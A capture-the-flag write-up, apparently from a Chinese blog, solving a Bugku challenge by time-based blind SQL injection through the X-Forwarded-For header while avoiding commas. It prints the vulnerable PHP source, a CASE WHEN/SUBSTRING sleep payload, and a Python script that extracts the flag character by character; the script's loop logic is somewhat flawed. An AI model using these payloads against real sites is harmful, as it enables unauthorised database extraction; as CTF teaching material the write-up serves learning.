zoukankan      html  css  js  c++  java
  • bugku逗号过滤注入

    URL:http://120.24.86.145:8002/web15/

    直接给出了源码:

     1 <?php
     2 error_reporting(0);
     3 
     4 function getIp(){
     5 $ip = '';
     6 if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
     7 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
     8 }else{
     9 $ip = $_SERVER['REMOTE_ADDR'];
    10 }
    11 $ip_arr = explode(',', $ip);
    12 return $ip_arr[0];
    13 
    14 }
    15 
    16 $host="localhost";
    17 $user="";
    18 $pass="";
    19 $db="";
    20 
    21 $connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
    22 
    23 mysql_select_db($db) or die("Unable to select database");
    24 
    25 $ip = getIp();
    26 echo 'your ip is :'.$ip;
    27 $sql="insert into client_ip (ip) values ('$ip')";
    28 mysql_query($sql);

    由上可以发现,在11行的时候$ip被截取了.explode函数的作用是按规则拆分为数组.例如:explode(" ",$str)

    如此可以想象到的是注入,且是没有逗号的注入方法.

    可参考:https://www.cnblogs.com/nul1/p/9333599.html

    这里使用case when then的策略

    但是在使用之前要注意到,SQL语句是insert

    如果要insert执行多条语句就如下所示:

    mysql> insert into admin(id,username,password) values(1,1,''+(select sleep(3)));
    Query OK, 1 row affected (3.04 sec)

     所以代码中的注入语句就该那么写

    '+(select sleep(3)) and '1'='1

    前面一个单引号先闭合前面的单引号,后面的and '1'='1闭合后面的')

    x-forwarded-for:127.0.0.1'+(select case when (substring((select flag from flag) from 1 for 1 )='f') then sleep(3) else 0 end) and '1'='1

    然后写个脚本跑一波(PS:脚本参考网上的,还是不错的,我之前对于延时注入是通过最后时间减去起始时间来判断,难免有误差不说效率还低,相对而言比下面这个会好的多) 

    import requests
    import string
    words = string.lowercase + string.uppercase + string.digits
    url = 'http://120.24.86.145:8002/web15/'
    for length in range(1,100):
        flag = ""
        for key in words:
            data = "'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(4) else 1 end) and '1'='1".format(length,str(key))
            headers={
                "X-FORWARDED-FOR": data
            }
            try:
                res=requests.get(url,headers=headers,timeout=3)
            except Exception as e:
                flag+=key
                break
                
    
    print(flag)

     

     

     

     

     

     

     

     

     

  • 相关阅读:
    Android内存优化5 了解java GC 垃圾回收机制3
    一起刑事案件法庭辩护 z
    辩护技巧总结——律师在刑事辩护中应注意的几个问题 z
    证据对抗、证据链标准 z
    里德九步审讯法 z
    WCF服务在高并发情况下报目标积极拒绝的异常处理 z
    C#EasyHook例子C# Hook 指定进程C#注入指定进程 z
    玄机论坛Socket类库源码 当前版本 2.6.3 更新日期:10-09/2015 z
    庭审全程文字实录 z
    庭审精彩语录整理 z
  • 原文地址:https://www.cnblogs.com/nul1/p/9333649.html
Copyright © 2011-2022 走看看